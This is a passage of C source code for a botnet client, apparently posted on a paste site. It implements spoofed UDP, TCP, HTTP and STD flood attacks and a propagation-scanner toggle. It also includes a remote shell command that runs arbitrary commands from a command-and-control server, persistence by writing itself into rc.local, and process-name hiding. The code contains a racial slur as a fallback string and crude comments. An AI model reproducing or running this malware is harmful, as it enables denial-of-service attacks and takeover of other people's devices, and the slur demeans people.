  1648. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1649. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1650. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1651. struct iphdr *iph = (struct iphdr *)packet;
  1652. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1653. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1654. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1655. udph->source = rand_cmwc();
  1656. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1657. udph->check = 0;
  1658. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1659. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1660. int end = time(NULL) + timeEnd;
  1661. register unsigned int i = 0;
  1662. register unsigned int ii = 0;
  1663. while(1) {
  1664. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1665. udph->source = rand_cmwc();
  1666. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1667. iph->id = rand_cmwc();
  1668. iph->saddr = htonl( GetRandomIP(netmask) );
  1669. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1670. if(i == pollRegister) {
  1671. if(time(NULL) > end) break;
  1672. i = 0;
  1673. continue;
  1674. }
  1675. i++;
  1676. if(ii == sleepcheck) {
  1677. usleep(sleeptime*1000);
  1678. ii = 0;
  1679. continue;
  1680. }
  1681. ii++;
  1682. }
  1683. }
  1684. }
  1685. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {
  1686. register unsigned int pollRegister;
  1687. pollRegister = pollinterval;
  1688. struct sockaddr_in dest_addr;
  1689. dest_addr.sin_family = AF_INET;
  1690. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1691. else dest_addr.sin_port = htons(port);
  1692. if(getHost(target, &dest_addr.sin_addr)) return;
  1693. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1694. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1695. if(!sockfd) {
  1696. #ifdef PRINTS_ENABLED
  1697. Yuhsprintf(YuhsCommSock, "Failed opening raw socket.");
  1698. #endif
  1699. return;
  1700. }
  1701. int tmp = 1;
  1702. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1703. #ifdef PRINTS_ENABLED
  1704. Yuhsprintf(YuhsCommSock, "Failed setting raw headers mode.");
  1705. #endif
  1706. return;
  1707. }
  1708. in_addr_t netmask;
  1709. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1710. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1711. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1712. struct iphdr *iph = (struct iphdr *)packet;
  1713. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1714. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1715. tcph->source = rand_cmwc();
  1716. tcph->seq = rand_cmwc();
  1717. tcph->ack_seq = 0;
  1718. tcph->doff = 5;
  1719. if(!strcmp(flags, "all")) {
  1720. tcph->syn = 1;
  1721. tcph->rst = 1;
  1722. tcph->fin = 1;
  1723. tcph->ack = 1;
  1724. tcph->psh = 1;
  1725. } else {
  1726. unsigned char *pch = strtok(flags, ",");
  1727. while(pch) {
  1728. if(!strcmp(pch, "syn")) {
  1729. tcph->syn = 1;
  1730. } else if(!strcmp(pch, "rst")) {
  1731. tcph->rst = 1;
  1732. } else if(!strcmp(pch, "fin")) {
  1733. tcph->fin = 1;
  1734. } else if(!strcmp(pch, "ack")) {
  1735. tcph->ack = 1;
  1736. } else if(!strcmp(pch, "psh")) {
  1737. tcph->psh = 1;
  1738. } else {
  1739. #ifdef PRINTS_ENABLED
  1740. Yuhsprintf(YuhsCommSock, "Invalid flag \"%s\"", pch);
  1741. #endif
  1742. }
  1743. pch = strtok(NULL, ",");
  1744. }
  1745. }
  1746. tcph->window = rand_cmwc();
  1747. tcph->check = 0;
  1748. tcph->urg_ptr = 0;
  1749. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1750. tcph->check = tcpcsum(iph, tcph);
  1751. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1752. int end = time(NULL) + timeEnd;
  1753. register unsigned int i = 0;
  1754. while(1) {
  1755. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1756. iph->saddr = htonl( GetRandomIP(netmask) );
  1757. iph->id = rand_cmwc();
  1758. tcph->seq = rand_cmwc();
  1759. tcph->source = rand_cmwc();
  1760. tcph->check = 0;
  1761. tcph->check = tcpcsum(iph, tcph);
  1762. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1763. if(i == pollRegister) {
  1764. if(time(NULL) > end) break;
  1765. i = 0;
  1766. continue;
  1767. }
  1768. i++;
  1769. }
  1770. }
  1771. void processCmd(int argc, unsigned char *argv[]) {
  1772. if(!strcmp(argv[0], "PING")) {
  1773. #ifdef PRINTS_ENABLED
  1774. Yuhsprintf(YuhsCommSock, "PONG!");
  1775. #endif
  1776. return;
  1777. }
  1778. if(!strcmp(argv[0], "PUSSY")) {
  1779. if(!strcmp(argv[1], "OFF")) {
  1780. if(scanPid == 0) return;
  1781. kill(scanPid, 9);
  1782. #ifdef PRINTS_ENABLED
  1783. Yuhsprintf(YuhsCommSock, "REP STOPPING!");
  1784. #endif
  1785. scanPid = 0;
  1786. }
  1787. if(!strcmp(argv[1], "ON")) {
  1788. if(scanPid != 0) return;
  1789. uint32_t parent;
  1790. parent = fork();
  1791. int threads = 1000;//if you change this it adds more threads to the scanner but will also fuck your bots.
  1792. int timeout = 10;
  1793. if (parent > 0) { scanPid = parent; return;}
  1794. else if(parent == -1) return;
  1795. StartTheLelz(timeout, threads);
  1796. _exit(0);
  1797. }
  1798. }
  1799. if (!strcmp(argv[0], "HTTP"))
  1800. {
  1801. if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1802. if (listFork()) return;
  1803. Yuhsprintf(YuhsCommSock, "HTTP %s Flooding %s:%d for %d seconds", argv[1], argv[2], atoi(argv[3]), atoi(argv[5]));
  1804. sendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1805. exit(0);
  1806. }
  1807. if(!strcmp(argv[0], "UDP")) {
  1808. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  1809. #ifdef PRINTS_ENABLED
  1810. Yuhsprintf(YuhsCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  1811. #endif
  1812. return;
  1813. }
  1814. unsigned char *ip = argv[1];
  1815. int port = atoi(argv[2]);
  1816. int time = atoi(argv[3]);
  1817. int spoofed = atoi(argv[4]);
  1818. int packetsize = atoi(argv[5]);
  1819. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  1820. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  1821. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  1822. if(strstr(ip, ",") != NULL) {
  1823. unsigned char *hi = strtok(ip, ",");
  1824. while(hi != NULL) {
  1825. if(!listFork()) {
  1826. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1827. _exit(0);
  1828. }
  1829. hi = strtok(NULL, ",");
  1830. }
  1831. } else {
  1832. if (!listFork()){
  1833. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  1834. _exit(0);
  1835. }
  1836. }
  1837. return;
  1838. }
  1839. if(!strcmp(argv[0], "TCP")) {
  1840. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  1841. #ifdef PRINTS_ENABLED
  1842. Yuhsprintf(YuhsCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1843. #endif
  1844. return;
  1845. }
  1846. unsigned char *ip = argv[1];
  1847. int port = atoi(argv[2]);
  1848. int time = atoi(argv[3]);
  1849. int spoofed = atoi(argv[4]);
  1850. unsigned char *flags = argv[5];
  1851. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1852. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1853. if(strstr(ip, ",") != NULL) {
  1854. unsigned char *hi = strtok(ip, ",");
  1855. while(hi != NULL) {
  1856. if(!listFork()) {
  1857. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1858. _exit(0);
  1859. }
  1860. hi = strtok(NULL, ",");
  1861. }
  1862. } else {
  1863. if (!listFork()) {
  1864. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1865. _exit(0);
  1866. }
  1867. }
  1868. }
  1869. if(!strcmp(argv[0], "STD")) {
  1870. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) {
  1871. #ifdef PRINTS_ENABLED
  1872. Yuhsprintf(YuhsCommSock, "STD <target> <port> <time>");
  1873. #endif
  1874. return;
  1875. }
  1876. unsigned char *ip = argv[1];
  1877. int port = atoi(argv[2]);
  1878. int time = atoi(argv[3]);
  1879. if(strstr(ip, ",") != NULL) {
  1880. unsigned char *hi = strtok(ip, ",");
  1881. while(hi != NULL) {
  1882. if(!listFork()) {
  1883. sendSTD(hi, port, time);
  1884. _exit(0);
  1885. }
  1886. hi = strtok(NULL, ",");
  1887. }
  1888. } else {
  1889. if (listFork()) { return; }
  1890. sendSTD(ip, port, time);
  1891. _exit(0);
  1892. }
  1893. }
  1894. if(!strcmp(argv[0], "KILLATTK"))
  1895. {
  1896. int killed = 0;
  1897. unsigned long i;
  1898. for (i = 0; i < numpids; i++) {
  1899. if (pids[i] != 0 && pids[i] != getpid()) {
  1900. kill(pids[i], 9);
  1901. killed++;
  1902. }
  1903. }
  1904. }
  1905. }
  1906. int initConnection() {
  1907. unsigned char server[4096];
  1908. memset(server, 0, 4096);
  1909. if(YuhsCommSock) { close(YuhsCommSock); YuhsCommSock = 0; }
  1910. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1911. else currentServer++;
  1912. strcpy(server, YuhsServer[currentServer]);
  1913. int port = 666;
  1914. if(strchr(server, ':') != NULL) {
  1915. port = atoi(strchr(server, ':') + 1);
  1916. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1917. }
  1918. YuhsCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1919. if(!connectTimeout(YuhsCommSock, server, port, 30)) return 1;
  1920. return 0;
  1921. }
  1922. int getOurIP() {
  1923. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1924. if(sock == -1) return 0;
  1925. struct sockaddr_in serv;
  1926. memset(&serv, 0, sizeof(serv));
  1927. serv.sin_family = AF_INET;
  1928. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1929. serv.sin_port = htons(53);
  1930. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1931. if(err == -1) return 0;
  1932. struct sockaddr_in name;
  1933. socklen_t namelen = sizeof(name);
  1934. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1935. if(err == -1) return 0;
  1936. ourIP.s_addr = name.sin_addr.s_addr;
  1937. int cmdline = open("/proc/net/route", O_RDONLY);
  1938. char linebuf[4096];
  1939. while(fdgets(linebuf, 4096, cmdline) != NULL) {
  1940. if(strstr(linebuf, "\t00000000\t") != NULL) {
  1941. unsigned char *pos = linebuf;
  1942. while(*pos != '\t') pos++;
  1943. *pos = 0;
  1944. break;
  1945. }
  1946. memset(linebuf, 0, 4096);
  1947. }
  1948. close(cmdline);
  1949. if(*linebuf) {
  1950. int i;
  1951. struct ifreq ifr;
  1952. strcpy(ifr.ifr_name, linebuf);
  1953. ioctl(sock, SIOCGIFHWADDR, &ifr);
  1954. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1955. }
  1956. close(sock);
  1957. }
  1958. char *getBuild() {
  1959. #if defined(__x86_64__) || defined(_M_X64)
  1960. return "x86_64";
  1961. #elif defined(__i386) || defined(_M_IX86)
  1962. return "x86_32";
  1963. #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)
  1964. return "ARM-4";
  1965. #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)
  1966. return "ARM-5"
  1967. #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_)
  1968. return "ARM-6";
  1969. #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)
  1970. return "MIPS";
  1971. #elif defined(__sh__)
  1972. return "SUPERH";
  1973. #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)
  1974. return "POWERPC";
  1975. #else
  1976. return "NIGGER";
  1977. #endif
  1978. }
  1979. int main(int argc, unsigned char *argv[]) {
  1980. char *mynameis = "";
  1981. if(SERVER_LIST_SIZE <= 0) return 0;
  1982. strncpy(argv[0],"",strlen(argv[0]));
  1983. argv[0] = "";
  1984. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  1985. srand(time(NULL) ^ getpid());
  1986. init_rand(time(NULL) ^ getpid());
  1987. pid_t pid1;
  1988. pid_t pid2;
  1989. int status;
  1990. int dupthing = 0;
  1991. char cwd[256],*str;
  1992. FILE *file;
  1993. str="/etc/rc.d/rc.local";
  1994. file=fopen(str,"r");
  1995. if (file == NULL) {
  1996. str="/etc/rc.conf";
  1997. file=fopen(str,"r");
  1998. }
  1999. if (file != NULL) {
  2000. char outfile[256], buf[1024];
  2001. int i=strlen(argv[0]), d=0;
  2002. getcwd(cwd,256);
  2003. if (strcmp(cwd,"/")) {
  2004. while(argv[0][i] != '/') i--;
  2005. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2006. while(!feof(file)) {
  2007. fgets(buf,1024,file);
  2008. if (!strcasecmp(buf,outfile)) d++;
  2009. }
  2010. if (d == 0) {
  2011. FILE *out;
  2012. fclose(file);
  2013. out=fopen(str,"a");
  2014. if (out != NULL) {
  2015. fputs(outfile,out);
  2016. fclose(out);
  2017. }
  2018. }
  2019. else fclose(file);
  2020. }
  2021. else fclose(file);
  2022. }
  2023. getOurIP();
  2024. if (pid1 = fork()) {
  2025. waitpid(pid1, &status, 0);
  2026. exit(0);
  2027. } else if (!pid1) {
  2028. if (pid2 = fork()) {
  2029. exit(0);
  2030. } else if (!pid2) {
  2031. } else {
  2032. zprintf("fork failed\n");
  2033. }
  2034. } else {
  2035. zprintf("fork failed\n");
  2036. }
  2037. setsid();
  2038. chdir("/");
  2039. signal(SIGPIPE, SIG_IGN);
  2040. while(1)
  2041. {
  2042. if(initConnection()) { sleep(30); continue; }
  2043. Yuhsprintf(YuhsCommSock, "\x1b[1;35m [SLUMPED] \x1b[1;37mYUH!! \x1b[1;35m[IP] \x1b[1;32m| \x1b[1;37m%s \x1b[1;35m[Arch] \x1b[1;32m| \x1b[1;37m%s\x1b[34m", inet_ntoa(ourIP), getBuild());
  2044. char commBuf[4096];
  2045. int got = 0;
  2046. int i = 0;
  2047. while((got = recvLine(YuhsCommSock, commBuf, 4096)) != -1) {
  2048. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2049. unsigned int *newpids, on;
  2050. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2051. pids[on - 1] = 0;
  2052. numpids--;
  2053. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2054. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2055. free(pids);
  2056. pids = newpids;
  2057. }
  2058. commBuf[got] = 0x00;
  2059. trim(commBuf);
  2060. if(strstr(commBuf, "PING") == commBuf) {
  2061. #ifdef PRINTS_ENABLED
  2062. Yuhsprintf(YuhsCommSock, "PONG");
  2063. #endif
  2064. continue;
  2065. }
  2066. if(strstr(commBuf, "LELIMDUP") == commBuf){
  2067. dupthing++;
  2068. zprintf("PEACE OUT IMMA DUP\n");
  2069. if(dupthing > 20){
  2070. exit(0);
  2071. }
  2072. break;
  2073. }
  2074. unsigned char *message = commBuf;
  2075. if(*message == '!') {
  2076. unsigned char *nickMask = message + 1;
  2077. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2078. if(*nickMask == 0x00) continue;
  2079. *(nickMask) = 0x00;
  2080. nickMask = message + 1;
  2081. message = message + strlen(nickMask) + 2;
  2082. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2083. unsigned char *command = message;
  2084. while(*message != ' ' && *message != 0x00) message++;
  2085. *message = 0x00;
  2086. message++;
  2087. unsigned char *tmpcommand = command;
  2088. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2089. if(strcmp(command, "STOLENBOTS") == 0) {
  2090. unsigned char buf[1024];
  2091. int command;
  2092. if (listFork()) continue;
  2093. memset(buf, 0, 1024);
  2094. szprintf(buf, "%s 2>&1", message);
  2095. command = fdpopen(buf, "r");
  2096. while(fdgets(buf, 1024, command) != NULL) {
  2097. trim(buf);
  2098. #ifdef PRINTS_ENABLED
  2099. Yuhsprintf(YuhsCommSock, "%s", buf);
  2100. #endif
  2101. memset(buf, 0, 1024);
  2102. sleep(1);
  2103. }
  2104. fdpclose(command);
  2105. exit(0);
  2106. }
  2107. unsigned char *params[10];
  2108. int paramsCount = 1;
  2109. unsigned char *pch = strtok(message, " ");
  2110. params[0] = command;
  2111. while(pch) {
  2112. if(*pch != '\n') {
  2113. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2114. memset(params[paramsCount], 0, strlen(pch) + 1);
  2115. strcpy(params[paramsCount], pch);
  2116. paramsCount++;
  2117. }
  2118. pch = strtok(NULL, " ");
  2119. }
  2120. processCmd(paramsCount, params);
  2121. if(paramsCount > 1) {
  2122. int q = 1;
  2123. for(q = 1; q < paramsCount; q++) {
  2124. free(params[q]);
  2125. }
  2126. }
  2127. }
  2128. }
  2129. }
  2130. return 0;
  2131. printf("client exiting");
  2132. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement